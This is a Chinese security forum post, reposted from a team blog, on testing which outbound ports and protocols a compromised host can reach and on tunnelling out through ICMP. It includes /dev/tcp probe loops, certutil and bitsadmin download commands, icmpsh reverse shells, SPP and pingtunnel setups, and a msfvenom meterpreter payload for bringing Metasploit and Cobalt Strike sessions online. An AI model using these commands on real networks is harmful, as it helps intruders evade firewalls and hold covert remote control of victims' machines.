安全矩阵

 找回密码
 立即注册
搜索
查看: 818|回复: 0

隧道与端口转发

[复制链接]

251

主题

270

帖子

1783

积分

金牌会员

Rank: 6Rank: 6

积分
1783
发表于 2022-10-23 18:16:20 | 显示全部楼层 |阅读模式
本帖最后由 Meng0f 于 2022-10-23 18:20 编辑

转载于:komorebi Tide安全团队 2022-10-19 17:03 发表于山东


出网探测
出网探测就是要探测出网协议,出站ip和出站端口。查看是否禁止了出站ip或者禁止了出站端口或者禁止了出站协议。

目标禁止出站ip
如果目标主机设置了严格的策略,防火墙只允许目标内网机器主动连接公网指定的ip。这样的话,没法反弹shell。(因为白名单ip没有办法拿到权限)。

禁止出站端口
Linux系统使用Linux系统自带命令探测出网端口。( 探测目标机器可以访问baidu.com对应ip的端口)
  1. for i in {440..449};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i***********************open************************" || echo "$i closed";done
复制代码

webshell不好回显结果,将结果写入文件中
  1. for i in {440..449};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open************************"|| echo "$i closed";done >> result.txt
复制代码


探测常见端口
  1. for i in {21,22,23,25,53,80,88,110,137,138,139,123,143,389,443,445,161,1521,3306,3389,6379,7001,7002,8000,8001,8080,8090,9000,9090,11211};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open************************" || echo "$i closed";done
复制代码
  1. for i in {21,22,23,25,53,80,88,110,137,138,139,123,143,389,443,445,161,1521,3306,3389,6379,7001,7002,8000,8001,8080,8090,9000,9090,11211};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open************************" || echo "$i closed";done >> result.txt
复制代码

攻击端的端口请求记录
从目标发起的端口访问请求,攻击端必须得配合记录,否则即便找到有效的出站端口,我们也无法获悉。思路一,单个逐次监听端口。对于少量端口的探测,攻击端很容易记录。比如,要验证 windows 目标的 8088 端口是否为出站端口,先在攻击端用 nc -n -v -lp 8088 监听 8088,指定 -v 选项观察实时访问记录,再在目标上用 telnet 192.168.56.8 8088 连接攻击端的 8088 端口,最后在攻击端查看端口访问记录,若有则该端口是有效出站端口,若无则重复以上步骤继续验证其他端口。

二,批量捆绑监听端口。试想一下,如果能够把攻击端的多个端口流量转发至单个汇聚端口,就只需监听单个汇聚端口,目标上发起多个端口探测,只要在攻击端转发的多个端口的范围内,那么,一旦找到有效出站端口,攻击端的汇聚端口一定有访问记录。说到端口转发,系统自带的 ssh、iptables,三方的 frp、nps,这些工具都能高效实现,于是,我从这四个工具中找寻具备端口捆绑能力的那位 攻击端这边需要有⽬标机访问的记录,才能更好的判断⽬标机器是否访问了我们。只要⽬标机器访问到 了我们VPS的任意⼀个端⼝,我们这边都能有记录。
//将所有端⼝的流量都绑定到34444端⼝
  1. iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 34444
复制代码

//查看nat表的规则
  1. iptables -t nat -nvL
复制代码

//清除nat表所有规则
  1. iptables -t nat -F
复制代码

//备份iptables规则
  1. iptables-save > /tmp/firewall.rules
复制代码

//恢复iptables规则
  1. iptables-restore < /tmp/firewall.rules
复制代码

配置防⽕墙规则,禁⽌访问远程机器的1-34566和34566-65535端⼝,也就是说只允许访问34567端⼝然后我们这边监听34444端⼝,在⽬标机器端⼝探测

禁止出站协议
对于禁止出站协议的情况,需要探测目标机器允许哪些协议出网。

探测ICMP协议服务端
监听ICMP流量:
  1. tcpdump icmp
复制代码

客户端ping VPS地址,查看服务端能否收到请求VPS监听,然后ping我们vps查看能否收到监听来判断ICMP 协议是否出⽹。也可以直接ping⼀个地址,看是否 有ttl值。

探测DNS协议
Windows:
  1. nslookup、ping
复制代码

Linux:
  1. nslookup、dig、ping
复制代码

通过判断能否将域名解析为ip,判断DNS协议是否出⽹。也可以将域名换成dnslog的域名,再看dnslog能否收到请求。

探测HTTP协议
Linux:可以使用curl命令
  1. curl http://192.168.10.13
复制代码

Windows系统可以使用如下的命令
  1. certutil -urlcache -split -f http://www.baidu.com
  2. bitsadmin /transfer test http://192.168.10.13/1 c:\1
  3. powershell iwr -Uri http://www.baidu.com -OutFile 1 -UseBasicParsing
复制代码

只有ICMP协议出网
目标只有icmp协议能出⽹的话,则只有考虑使⽤icmp协议来搭建隧道。利⽤icmp协议通信的⼯具有很多icmpsh、reverse-icmp-shell、PingTunnel、IcmpTunnel都可以。常⻅的ping命令就是利⽤的ICMP协议。

icmpsh(2016+kali2017)
icmpsh 是一个简单的反向 ICMP shell,带有一个 win32 从站和一个 C、Perl 或 Python 中的兼容主站。与其他类似的开源工具相比,它的主要优势在于它不需要管理权限即可在目标机器上运行。使用ICMP进行命令控制(Icmpsh)适⽤场景:⽬标机器是Windows服务器 Linux服务器执行
  1. #关闭icmp回复,如果要开启icmp回复,该值设置为0
  2. sysctl -w net.ipv4.icmp_echo_ignore_all=1
  3. #运⾏,第⼀个IP是VPS的eth0⽹卡IP(vps上ifconfig可以得到),第⼆个IP是⽬标机器出⼝的公⽹IP
  4. python2 icmpsh_m.py 192.168.10.8 192.168.10.7
复制代码

目标机器的操作:
  1. icmpsh.exe -t 192.168.10.8
复制代码

可以看到已经反弹出一个shell

ICMP上线CS
有如下场景,我们拿到了内⽹的机器权限。但是机器对外均只有icmp协议出网,我们现在可以利⽤icmp封装tcp协议,让其上线cs。

使用SPP
平常演练常用的一些隧道工具像frp,nps在目标出网的情况下还是比较好用的。但是一旦遇到一些比较恶劣的环境,比如只有icmp可以出网的情况,那就需要使用其他的工具像pingtunnel,ptunnel等。SPP三个特点:、 支持icmp、kcp、quic 支持双向的代理 可以自由进行内部外协议的组合
功能:支持的协议:tcp、udp、rudp(可靠udp)、ricmp(可靠icmp)、rhttp(可靠http)、kcp、quic 支持的类型:正向代理、反向代理、socks5正向代理、socks5反向代理 协议和类型可以自由组合 外部代理协议和内部转发协议可以自由组合 支持shadowsock/s插件,spp-shadowsock/s-plugin,spp-shadowsock/s-plugin-android cs服务器端
  1. ./spp -type server -proto ricmp -listen 0.0.0.0
复制代码

客户端
  1. spp -name "test" -type proxy_client -server 140.143.167.58 -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp
复制代码


pingtunnel上线MSF&CS
1、pingtunnel下载链接
https://github.com/esrrhs/pingtunnel/releases
注意,在客户端中运行一定要加noprint nolog两个参数,否则会生成大量的日志文件;ICMP为网络层协议,应用层防火墙无法识别,且请求包当中的数据字段被加密 2 vps服务端开启
  1. ##开启服务器模式
  2. ./pingtunnel -type server
复制代码

3、客户端开启上传客户端
  1. ## 客户端本地监听9999端口 ,将监听到的连接通过icmpserver发送到Linsten_ip:7777端口
  2. pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t  82.157.64.237:7778 -tcp 1 -noprint 1 -nolog 1
复制代码

4、MSF上线
  1. msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=9999 -f exe -o AAA.exe
复制代码

5、cs上线 建立监听127.0.0.1:9999和192.168.3.76:7777 对127的监听生成木马AAA.exe,传到靶机运行
  1. pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.3.76 -t 192.168.3.76:7777 -tcp 1 -noprint 1 -nolog 1
复制代码



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 06:45 , Processed in 0.014243 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表